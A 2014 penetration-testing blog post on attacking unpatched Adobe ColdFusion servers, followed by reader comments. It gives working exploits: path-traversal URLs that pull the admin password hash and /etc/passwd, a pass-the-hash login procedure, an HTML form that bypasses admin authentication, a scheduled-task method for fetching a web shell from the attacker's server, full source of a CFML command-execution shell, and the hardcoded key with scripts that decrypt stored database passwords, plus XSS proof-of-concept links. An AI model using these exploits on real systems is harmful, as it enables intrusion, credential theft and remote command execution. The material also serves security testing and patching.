Wednesday, March 19, 2014

Attacking Adobe ColdFusion

Preface

Recently, I have been working in an environment with lots of Adobe ColdFusion installations, most of them unpatched, having nice, exploitable vulnerabilities. You can find almost everything about hacking ColdFusion on different blogs / forums / etc. but for convenience, I wanted to collect those tricks that I was able to use in real life. Please let me know if you have something else and I might update the post :).

BTW, according to RSA, ColdFusion hacking is actually an "Emerging Threat" [1] and look like bad guys also see a nice opportunity [2] here.

ColdFusion

First of all, what the hell is ColdFusion? ColdFusion is basically just yet another commercial web application development platform. The programming language used with that platform is also commonly called ColdFusion, but the correct name of it is ColdFusion Markup Language (CFML).

Multiple commercial and open source implementations of CFML engines are available, including Adobe ColdFusion, New Atlanta BlueDragon, Railo, Open BlueDragon and so on. However, in this blog post we will focus on Adobe ColdFusion since that is the most widespread one.

CFML itself was originally an interpreted language using Java backend (well, mostly, but BlueDragon has a .NET-based version too, and anyways, we are talking about Adobe ColdFusion now) but it became a compiled one, so CFML code now compiles directly to Java byte code. ColdFusion Markup Language allows direct access to Java via its cfscript tags, while also offering a simple web wrapper.

Vulnerabilities against ColdFusion application are the typical ones so you can find Local File Disclosure (LFD), SQL injection and Cross-site Scripting as well. And of course, ColdFusion by default runs as NT-Authority\SYSTEM (Windows) or nobody (Linux), thus making the ColdFusion+Windows combination a very desirable target.

Authentication Bypass (APSB10-18 and APSB13-03)

Our ultimate goal when we attack ColdFusion is basically to gain administrator access to the management interface so we can upload a shell (yeay!). You need to use different exploits in order to bypass the administrative login, depending on the ColdFusion version you are facing.

ColdFusion 6, 7, 8 (APSB10-18)


In unpatched versions of ColdFusion 6, 7 and 8 there is a local file inclusion vulnerability (APSB10-18) which you can exploit to get the administrator password hash from the password.properties file.

ColdFusion 6:
http://[HOSTNAME:PORT]/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX\lib\password.properties%en

ColdFusion 7:
http://[HOSTNAME:PORT]/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%en

ColdFusion 8:
http://[HOSTNAME:PORT]/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%en

All versions (according to this site [3], but I have never tried it):
http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%en

If the local file inclusion is successful, the password hash (SHA1) is written back to you on the administrative login page like this (hash was reducted):


Cracking the password hash

According to the RSA experts: "After obtaining this password hash, Shell_Crew was able to recover the password associated with the administrative account, likely by using pre-computed rainbow tables."

Well, indeed, now that you have the hash, you might as well try to crack it, but for example in case of ColdFusion 8 (which is shown in the RSA report), I only suggest doing this whether if you are really-really into password cracking, because otherwise there is no real need to crack the hash in order to access the administrative page.

Using the password hash to login

As pointed out by Niels Teusink few years ago (I have found it on this blog [4]), an attacker does not need to crack the SHA1-hash, as the ColdFusion login screen does the following when you submit your password (actually, you can see with your own eyes that some javascript magic is happening in the password field when you submit the login credentials):

onSubmit="cfadminPassword.value = hex_hmac_sha1(salt.value, hex_sha1(cfadminPassword.value));"

Focus on the last part please... yep, that is right. Once you have the password hash, you can just put the hash value instead of hex_sha1(cfadminPassword.value) and this allows you to login into ColdFusion using only the hash... lame isn't it?

Here are the steps you need to take in order to login as administrator:
  1. Start capturing traffic using Burp (or whatever attack proxy you like).
  2. Enter the password hash into the password field of the login form.
  3. If you are using Firefox hit Ctrl+Shift+K, for Chrome, hit Ctrl+Shift+J to get the JavaScript console and if you are using Internet Explorer; stop using it and start using a real browser! :)
  4. Enter the following JavaScript code in the console:
    javascript:alert(hex_hmac_sha1(document.loginform.salt.value, document.loginform.cfadminPassword.value))
    
    Here is a screenshot of the JavaScript code in action (yes, it is from the PWB course, I was lazy to take new screenshots):

  5. Record value that you got, and go back with your browser back button.
  6. Set Burp to intercept, click on the Login button at ClodFusion and catch the login request in Burp.
  7. Replace the value of the cfadminPassword parameter with the value you have recorded above.
  8. Forward the modified request and do your happy dance.

ColdFusion 9 and 10 (APSB13-03)


I really like this one, but I need to explain a few things first.

ColdFusion have a component called Remote Development Services (RDS) which is a security component used by the ColdFusion Administrator and ColdFusion Studio to provide remote HTTP-access to files and databases for the developers. For example, the ColdFusion Administrator API CFC contains basic Administrator functionality, such as login, logout, the Migration wizard or the Setup wizard.

One of the parameters in the Administrator API login function is called "rdsPasswordAllowed", and it defines if the user is allowed to login and access the adminapi with the RDS password. The problem is that in Adobe ColdFusion versions 9.0, 9.0.1, 9.0.2 and even in 10, the login function never checks if RDS is enabled when it is invoked with rdsPasswordAllowed="true" (APSB13-03).

This means that if RDS was not configured (most cases), the RDS user does not have a password associated with their username and by setting rdsPasswordAllowed to "true" and invoking the login function, we can bypass the admin login and use the rdsPassword, which in most cases (as RDS was not configured), is blank. For more details, check the description of Scot Buckel's exploit [5]!

And here is the code you can use:

<form action="http://[HOSTNAME:PORT]/CFIDE/adminapi/administrator.cfc?method=login" method="post">
<input name="adminpassword" type="hidden" value="" />
    <input name="rdsPasswordAllowed" type="hidden" value="1" />
    <input type="submit" />
</form>

All you have to do copy this into an empty file with .html extension, replace [HOSTNAME:PORT] with your target's address, drag the file into the browser, hit the "Submit Query" button and navigate to your targets ColdFusion administrator login page. Tada! You are now logged in as administrator! :)

Uploading a CFM shell

Once we got access to the administrative panel, we can finally upload a malicious CFML script that would allow us to run OS commands (hopefully with SYSTEM / root privileges).

This process is analogue to the process when you, for example, deploy a JSP shell, but the way you do it is a little different. We need to go to the "Debugging & Loging / Scheduled Taks" menu element and add a scheduled task that would download our CFML script from our webserver to the ColdFusion server’s webroot. Make sure you schedule the deployment to some reasonable time, so 5-10 minutes from your current time - no one likes to wait for free shells, right?

Here is an example on how it looks like:


You can find a few CFML shells for example here. I like to use this one from Kurt Grutzmacher:

<html>
<body>

Notes:<br><br>
<ul>
<li>Prefix DOS commands with "c:\windows\system32\cmd.exe /c <command>" or wherever cmd.exe is<br>
<li>Options are, of course, the command line options you want to run
<li>CFEXECUTE could be removed by the admin. If you have access to CFIDE/administrator you can re-enable it
</ul>
<p>
<cfoutput>
<table>
<form method="POST" action="cfexec.cfm">
<tr><td>Command:</td><td><input type=text name="cmd" size=50 
  <cfif isdefined("form.cmd")>value="#form.cmd#"</cfif>><br></td></tr>
<tr><td>Options:</td><td> <input type=text name="opts" size=50 
  <cfif isdefined("form.opts")>value="#form.opts#"</cfif>><br></td></tr>
<tr><td>Timeout:</td><td> <input type=text name="timeout" size=4 
  <cfif isdefined("form.timeout")>value="#form.timeout#"
  <cfelse>value="5"</cfif>></td></tr>
</table>
<input type=submit value="Exec">
</form>

<cfif isdefined("form.cmd")>
  <cfsavecontent variable="myVar">
  <cfexecute name = "#Form.cmd#" arguments = "#Form.opts#" timeout = "#Form.timeout#"> </cfexecute>
  </cfsavecontent>
  <pre> #myVar# </pre>
</cfif>
</cfoutput>
</body>
</html>

And it looks like this once it is uploaded (I had to use the Options fields to fit in the screenshot):


Getting database passwords from Data Sources


Once you have access to the administrative panel, you can also get the connection strings and credentials to databases connected to ColdFusion. Depending again on the ColdFusion version, the credentials are stored in different places, but you might be able to retrieve the passwords from the administrative panel as well! :)

For ColdFusion 6 and 7 the passwords for DataSources encrypted in the following XML files:
[ColdFusion_Install_Dir]\lib\neo-query.xml
For ColdFusion 8, 9 and 10:
[ColdFusion_Install_Dir]\lib\neo-datasource.xml

Hernan Ochoa (Hexale) wrote a great blogpost [6] on how the passwords for the data stores are being encrypted, so I will not go into details. The most important thing is that by decompiling \lib\cfusion.jar and looking at the \coldfusion\sql\DataSourceDef.class, you can find the seed for the key ("0yJ!@1$r8p0L@r1$6yJ!@1rj") and algorithm (3DES and then Base64 encoding) used.

In case of ColdFusion 6, 7 and 8, the encrypted passwords can be found just by looking at the page source of the individual data sources on the administrative panel (on ColdFusion 9 and 10 this was fixed and you will only see ******** in the page source for the passwords).

No matter how you obtain the encrypted passwords, you can decrypt them with openSSL like this:

echo [encrypted_and_base64_encoded_password] | openssl des-ede3 -a -d -K 30794A21403124723870304C4072312436794A214031726A -iv 30794A2140312472; echo

or, with the python script of Hernan Ochoa (I had to do a small fix in it, oh and you will need pyDes for it):

import pyDes
import base64
import sys

print "Coldfusion v7 y v8 DataSource password decryptor (c) 2008 Hernan Ochoa (hernan@gmail.com)"
print " "

if len(sys.argv) <> 2:
print "syntax: coldfusion_ds_decrypt.py "
exit(0)

pwd = sys.argv[1]
key = "0yJ!@1$r8p0L@r1$6yJ!@1rj"

k = pyDes.triple_des(key)
d = k.decrypt( base64.decodestring(pwd), "*")

print "decrypted password: " + d

or, you can just use a CFML like this one from Paul Hassinger:

<h1>ColdFusion Datasources</h1>
 
<cfscript>
 
// Create datasource object
variables.datasourceObject=createobject("java","coldfusion.server.ServiceFactory").getDatasourceService().getDatasources();
 
// Loop through datasources
for(variables.dataource in variables.datasourceObject) {
 if(len(variables.datasourceObject[variables.datasource]["password"])){
 
  // Set username
  variables.username = variables.datasourceObject[variables.datasource]["username"];
 
  // Set decrypted password
  variables.decryptedPassword = Decrypt(variables.datasourceObject[variables.datasource]["password"], generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"), "DESede", "Base64");
 
  // Output datasource information
  writeoutput("<p><strong>" & "Datasource: " & variables.datasource & "</strong><br />"); 
  writeOutput("Username: " & variables.username & "<br />"); 
  writeOutput("Password: " & variables.decryptedPassword & "</p>"); 
 }
}
</cfscript>

Directory Traversal (APSA13-03)


With this vulnerability, you can pull files from the ColdFusion 9 server, because you deserve it. ;) This one is a combination of two vulnerabilities:
  • First, there is a directory traversal vulnerability in /administrator/mail/download.cfm that allows a remote, authenticated attacker to download arbitrary files.
  • Second, a local file includsion vulnerability exists in /adminapi/customtags/l10n.cfm and a remote, unauthenticated attacker could exploit this to execute local cfm files.
So with these two together you basically have an arbitrary file retrieval vulnerability.

Exploitation has never been easier:

http://[TARGET_HOST]/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp&attributes.file=../../administrator/mail/download.cfm&filename=../../../../../../../../../../../../../../../etc/passwd

Administrator page Cross-site Scripting (APSB09-12 and APSB10-11)


If the APSB10-18 directory traversal fails for some reason, do not be upset, cause they might forget to patch against APSB09-12 or APSB10-11 and they have multiple reflected XSS vulnerabilities for ColdFusion 8.0, 8.0.1, 9.0 and earlier versions.

The problem is that "searchlog.cfm",  "_logintowizard.cfm", "_authenticatewizarduser.cfm", "enter.cfm", "cfadminpassword.cfm" and "index.cfm" do not sanitize the query string of the URL, which could result in the injection of HTML or script code, so you can use these to social engineer a user into requesting a malicious URL and hopefully get the administrator cookie for ColdFusion.

The "cfadminUserId" POST parameter is also vulnerable to XSS according to Tenable.

The example PoC links from Digital Security Research Group:


http://[HOSTNAME:PORT]/CFIDE/wizards/common/_logintowizard.cfm?>'"><script>alert('XSS')</script>
http://[HOSTNAME:PORT]/CFIDE/wizards/common/_authenticatewizarduser.cfm?>'"><script>alert('XSS')</script>
http://[HOSTNAME:PORT]/CFIDE/administrator/enter.cfm?>'"><script>alert('XSS')</script>
http://[HOSTNAME:PORT]/CFIDE/administrator/logviewer/searchlog.cfm?viewShort=0&sortBy=&filter=CurrentFilter&startRow=22%22%20%20STYLE=%22background-image:url(javascript:alert(%27%58%53%53%27))%22%3E
http://[HOSTNAME:PORT]/CFIDE/administrator/index.cfm?>"><script>alert("XSS")</script>

ColdFusion 8 FCKeditor (APSB09-09)

Unfortunately, I never had the chance to try out this one (although I have already seen CF8 installations vulnerable to this), but FCKEditor is included as part of ColdFusion 8 and it could allow a remote attacker to upload files in arbitrary directories which could lead to a system compromise (APSB09-09).

Exploit code is on SecurityFocus, but there is also a Metasploit module that you can use (see below).

Nessus

If you want to find all the vulnerable Adobe ColdFusions with Nessus, I have bad news; in my experience, that thing most of the time only picks up these two vulnerabilities:
  • Adobe ColdFusion Multiple Vulnerabilities (APSB13-03)
  • Adobe ColdFusion = 8.0.1 Multiple XSS
So if you see those, make sure you check the more severe vulnerabilities too! Looks like, it is easy to miss these vulns, if you are only a nessus monkey... [7]

Metasploit

At the end of the day, you might also consider using Metasploit to exploit some of the above vulnerabilities:


Also, make sure you check exploit-db.com too!

Other good stuff

Of course, Chris Gates (Carnal0wnage) already did it, check out his slides and the video. As always, it is awsome :).

Chris Eng and Brandon Creighton also made a nice paper for Blackhat 2010. Video of the talk is here.

Make sure you check out Andy Davis' presentation on ColdFusion Security too!

UPDATE: A reddit user with the nick "le_ironic_username" recommended the tool Clusterd for exploitation. Looks very promising, gotta try it some time :)

UPDATE2: A nice technique - LFI to Shell in Coldfusion 6-10

References

[1] RSA Incident Response: Emerging Threat Profile - Shell_Crew (January 2014)
http://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf

[2] Thieves Jam Up Smucker’s, Card Processor
http://krebsonsecurity.com/2014/03/thieves-jam-up-smuckers-card-processor/

[3] Blackhatlibary - ColdFusion Hacking
http://www.blackhatlibrary.net/Coldfusion_hacking

[4] GNUCITIZEN - Coldfusion Directory Traversal FAQ (CVE-2010-2861)
http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/

[5] Exploit-DB: Adobe ColdFusion 9 Administrative Login Bypass
http://www.exploit-db.com/exploits/27755/

[6] How to decrypt Coldfusion datasource passwords
http://hexale.blogspot.be/2008/07/how-to-decrypt-coldfusion-datasource.html

[7] The Long Tail of ColdFusion Fail
http://krebsonsecurity.com/2014/03/the-long-tail-of-coldfusion-fail/

9 comments :

  1. Very comprehensive write up. A small correction for the opening paragraph, CFML is technically not interpreted. It's actually direct compiled straight to Java byte code. This is true for all three vendors' Java versions.

    ReplyDelete
    Replies
    1. Brad, you are absolutely right :) Corrected that paragraph.

      Delete
  2. You would think with Adobe's resources, they'd have these mistakes nailed.

    Thanks for the write-up.

    ReplyDelete
  3. @Topper,nothing in this article is exploitable as long as your server is patched and hardened. Adobe fixed these all in a matter of days as soon as they came to light. Unfortunately, some servers are still open to these attacks as 1-days because many gov and corp shops are slow or unwilling to bother patching.

    FWIW, CF far fewer holes than other popular platforms: http://www.codersrevolution.com/blog/whos-had-more-vulns-php-java-or-coldfusion

    ReplyDelete
    Replies
    1. Agree with Brad, with auto-updating now in play for CF & Railo and a lot more people patching because of the ease of doing so, this article is of little use... but a great place to send people to make them update their servers ;-)

      Delete
  4. How to decrypt datasource passwords in CF 9.1 and on?
    Thanks

    ReplyDelete
  5. This comment has been removed by the author.

    ReplyDelete
  6. Hi,

    Newbee here, first of all, a very thorough and comprehensive article! thanks for the post. My question is what does this JS do "javascript:alert(hex_hmac_sha1(document.loginform.salt.value, document.loginform.cfadminPassword.value))"

    like from where it takes the salt value? and how it calculates?.
    Thanks

    ReplyDelete
  7. Thanks for a very informative and useful article!

    ReplyDelete